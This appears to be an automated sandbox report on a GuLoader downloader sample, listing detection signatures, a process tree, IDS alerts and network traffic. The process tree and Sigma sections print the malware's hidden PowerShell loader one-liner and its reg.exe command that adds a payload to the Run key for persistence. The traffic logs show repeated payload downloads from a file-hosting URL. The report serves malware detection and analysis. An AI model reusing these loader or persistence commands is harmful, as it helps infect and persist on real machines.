Edit tour

Windows Analysis Report
ht58337iNC.exe

Overview

General Information

Sample name:	ht58337iNC.exe renamed because original name is a hash value
Original sample name:	2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe
Analysis ID:	1587991
MD5:	fac446c07f42f8f4eda2a19cb9d9d0bd
SHA1:	accd44eb595ca1e3ad4838dbdbef675cc78fc5f0
SHA256:	2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa
Tags:	exeGuLoadersigneduser-adrian__luca
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Early bird code injection technique detected

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Powershell drops PE file

Queues an APC in another process (thread injection)

Suspicious powershell command line found

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

ht58337iNC.exe (PID: 5448 cmdline: "C:\Users\user\Desktop\ht58337iNC.exe" MD5: FAC446C07F42F8F4EDA2A19CB9D9D0BD)

powershell.exe (PID: 4152 cmdline: powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5280 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6940 cmdline: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6108 cmdline: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.3424386540.00000000051F5000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: %Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion), EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 6108, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Fotokopiering

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)", CommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6940, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)", ProcessId: 6108, ProcessName: reg.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 172.67.152.246, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 5280, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 57914

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4152, TargetFilename: C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)", CommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\SysWOW64\msiexec.exe", ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 5280, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)", ProcessId: 6940, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)", CommandLine: powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ht58337iNC.exe", ParentImage: C:\Users\user\Desktop\ht58337iNC.exe, ParentProcessId: 5448, ParentProcessName: ht58337iNC.exe, ProcessCommandLine: powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)", ProcessId: 4152, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:14:06.974098+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57914	172.67.152.246	443	TCP
2025-01-10T20:14:08.472663+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57916	172.67.152.246	443	TCP
2025-01-10T20:14:10.240207+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57918	172.67.152.246	443	TCP
2025-01-10T20:14:11.803705+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57920	172.67.152.246	443	TCP
2025-01-10T20:14:13.400398+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57922	172.67.152.246	443	TCP
2025-01-10T20:14:14.881894+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57924	172.67.152.246	443	TCP
2025-01-10T20:14:16.648089+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57926	172.67.152.246	443	TCP
2025-01-10T20:14:18.150015+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57929	172.67.152.246	443	TCP
2025-01-10T20:14:19.847821+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57931	172.67.152.246	443	TCP
2025-01-10T20:14:21.380734+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57933	172.67.152.246	443	TCP
2025-01-10T20:14:22.817114+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57935	172.67.152.246	443	TCP
2025-01-10T20:14:24.322544+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57937	172.67.152.246	443	TCP
2025-01-10T20:14:26.041238+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57939	172.67.152.246	443	TCP
2025-01-10T20:14:27.572111+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57941	172.67.152.246	443	TCP
2025-01-10T20:14:29.082743+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57943	172.67.152.246	443	TCP
2025-01-10T20:14:30.632037+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57945	172.67.152.246	443	TCP
2025-01-10T20:14:32.096662+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57947	172.67.152.246	443	TCP
2025-01-10T20:14:33.691780+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57949	172.67.152.246	443	TCP
2025-01-10T20:14:35.233365+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57951	172.67.152.246	443	TCP
2025-01-10T20:14:36.980121+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57953	172.67.152.246	443	TCP
2025-01-10T20:14:38.493462+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57955	172.67.152.246	443	TCP
2025-01-10T20:14:40.148517+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57957	172.67.152.246	443	TCP
2025-01-10T20:14:41.671801+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57959	172.67.152.246	443	TCP
2025-01-10T20:14:43.286590+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57961	172.67.152.246	443	TCP
2025-01-10T20:14:44.739952+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57963	172.67.152.246	443	TCP
2025-01-10T20:14:46.270563+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57965	172.67.152.246	443	TCP
2025-01-10T20:14:47.800408+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57967	172.67.152.246	443	TCP
2025-01-10T20:14:49.805342+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57970	172.67.152.246	443	TCP
2025-01-10T20:14:51.287149+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57972	172.67.152.246	443	TCP
2025-01-10T20:14:52.888174+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57974	172.67.152.246	443	TCP
2025-01-10T20:14:54.459855+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57976	172.67.152.246	443	TCP
2025-01-10T20:14:56.336095+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57978	172.67.152.246	443	TCP
2025-01-10T20:14:57.839185+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57980	172.67.152.246	443	TCP
2025-01-10T20:14:59.523003+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57982	172.67.152.246	443	TCP
2025-01-10T20:15:01.011786+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57984	172.67.152.246	443	TCP
2025-01-10T20:15:02.585123+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57986	172.67.152.246	443	TCP
2025-01-10T20:15:04.072284+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57988	172.67.152.246	443	TCP
2025-01-10T20:15:05.694217+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57990	172.67.152.246	443	TCP
2025-01-10T20:15:07.215598+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57992	172.67.152.246	443	TCP
2025-01-10T20:15:08.712602+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	57994	172.67.152.246	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe

ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: ht58337iNC.exe	Virustotal: Detection: 66%			Perma Link
Source: ht58337iNC.exe	ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ht58337iNC.exe

Joe Sandbox ML: detected

Source: ht58337iNC.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.152.246:443 -> 192.168.2.6:57914 version: TLS 1.2

Source: ht58337iNC.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB

Source: global traffic

TCP traffic: 192.168.2.6:57766 -> 162.159.36.2:53

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57914 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57916 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57931 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57920 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57918 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57926 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57922 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57924 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57947 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57935 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57939 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57951 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57984 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57992 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57994 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57961 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57941 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57959 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57953 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57943 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57970 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57957 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57929 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57955 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57972 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57937 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57949 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57982 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57978 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57974 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57965 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57976 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57990 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57945 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57986 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57980 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57933 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57963 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57967 -> 172.67.152.246:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57988 -> 172.67.152.246:443

Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/sJfx1gsn/download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: filetransfer.ioCache-Control: no-cacheConnection: Keep-Alive
